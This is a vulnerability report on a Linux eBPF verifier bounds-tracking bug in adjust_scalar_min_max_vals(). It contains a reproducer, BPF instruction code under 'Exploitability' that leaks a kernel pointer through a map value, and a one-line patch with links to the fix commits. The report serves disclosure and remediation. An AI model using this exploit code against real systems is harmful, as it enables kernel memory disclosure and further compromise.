..

eBPF verifier bug: mishandling bounds in adjust_scalar_min_max_vals()

-- [ Description

In `verifier.c` there is a lot of code like this to update bounds:
(To be honest, I don't know how these three functions work together XD)

```
    __update_reg_bounds(dst_reg);
    __reg_deduce_bounds(dst_reg);
    __reg_bound_offset(dst_reg);
```

I found a corner case where tnum becomes constant after
__reg_bound_offset(), but bounds are not(min != max).

-- [ Affected Versions

The latest version of Linux.

-- [ Reproducer

```
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_MOV64_IMM(BPF_REG_3, 0),
        BPF_ALU64_IMM(BPF_NEG, BPF_REG_3, 0),
        BPF_ALU64_IMM(BPF_NEG, BPF_REG_3, 0), // R3=scalar()
        BPF_ALU64_IMM(BPF_OR, BPF_REG_3, 32767),
        BPF_JMP_IMM(BPF_JSGE, BPF_REG_3, 0, 1),
        BPF_EXIT_INSN(),
        BPF_JMP_IMM(BPF_JSLE, BPF_REG_3, 0x8000, 1),
        BPF_EXIT_INSN(),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -32767),
        // R3:min=0,max=1;tnum_value=0,tnum_mask=0;
        BPF_EXIT_INSN(),
```

-- [ Exploitability

Pointer leak by turning a PTR_REG into UNKNOWN with adjust_ptr_min_max_vals()

```
        // load oob_map values ptr into reg_0 */
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
        BPF_LD_MAP_FD(BPF_REG_1, map_fd),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
        // check if the returned map value pointer is valid */
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
        BPF_EXIT_INSN(),
        BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
        BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
        BPF_MOV64_IMM(BPF_REG_0, 0),

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_MOV64_IMM(BPF_REG_3, 0),
        BPF_ALU64_IMM(BPF_NEG, BPF_REG_3, 0),
        BPF_ALU64_IMM(BPF_NEG, BPF_REG_3, 0), // R3=scalar()
        BPF_ALU64_IMM(BPF_OR, BPF_REG_3, 32767),
        BPF_JMP_IMM(BPF_JSGE, BPF_REG_3, 0, 1),
        BPF_EXIT_INSN(),
        BPF_JMP_IMM(BPF_JSLE, BPF_REG_3, 0x8000, 1),
        BPF_EXIT_INSN(),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -32767),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_7),
        BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_3, 8),
        BPF_EXIT_INSN(),
```

-- [ Mitigation

In __reg_combine_min_max() the annotate says "Intersecting with the
old var_off might have improved our bounds slightly.", so at the end
of the function it added a call to __update_reg_bounds().

```
/* Regs are known to be equal, so intersect their min/max/var_off */
static void __reg_combine_min_max(struct bpf_reg_state *src_reg,
                  struct bpf_reg_state *dst_reg)
{
    src_reg->umin_value = dst_reg->umin_value = max(src_reg->umin_value,
                            dst_reg->umin_value);
    src_reg->umax_value = dst_reg->umax_value = min(src_reg->umax_value,
                            dst_reg->umax_value);
    src_reg->smin_value = dst_reg->smin_value = max(src_reg->smin_value,
                            dst_reg->smin_value);
    src_reg->smax_value = dst_reg->smax_value = min(src_reg->smax_value,
                            dst_reg->smax_value);
    src_reg->var_off = dst_reg->var_off = tnum_intersect(src_reg->var_off,
                                 dst_reg->var_off);
    /* We might have learned new bounds from the var_off. */
    __update_reg_bounds(src_reg);
    __update_reg_bounds(dst_reg);
    /* We might have learned something about the sign bit. */
    __reg_deduce_bounds(src_reg);
    __reg_deduce_bounds(dst_reg);
    /* We might have learned some bits from the bounds. */
    __reg_bound_offset(src_reg);
    __reg_bound_offset(dst_reg);
    /* Intersecting with the old var_off might have improved our bounds
     * slightly.  e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
     * then new var_off is (0; 0x7f...fc) which improves our umax.
     */
    __update_reg_bounds(src_reg);
    __update_reg_bounds(dst_reg);
}
```

As I said before I don't really understand how these three functions
work together, maybe you need to check all the codes where
__reg_bound_offset is called?

In adjust_scalar_min_max_vals(), add a call to __update_reg_bounds()
is enough to mitigate this vulnerability.

```
@@ -8410,6 +8412,7 @@ static int adjust_scalar_min_max_vals(struct
bpf_verifier_env *env,
        __update_reg_bounds(dst_reg);
        __reg_deduce_bounds(dst_reg);
        __reg_bound_offset(dst_reg);
+       __update_reg_bounds(dst_reg);
        return 0;
 }
```

-- [ References
* https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=3844d153a41a
* https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=73c4936f916d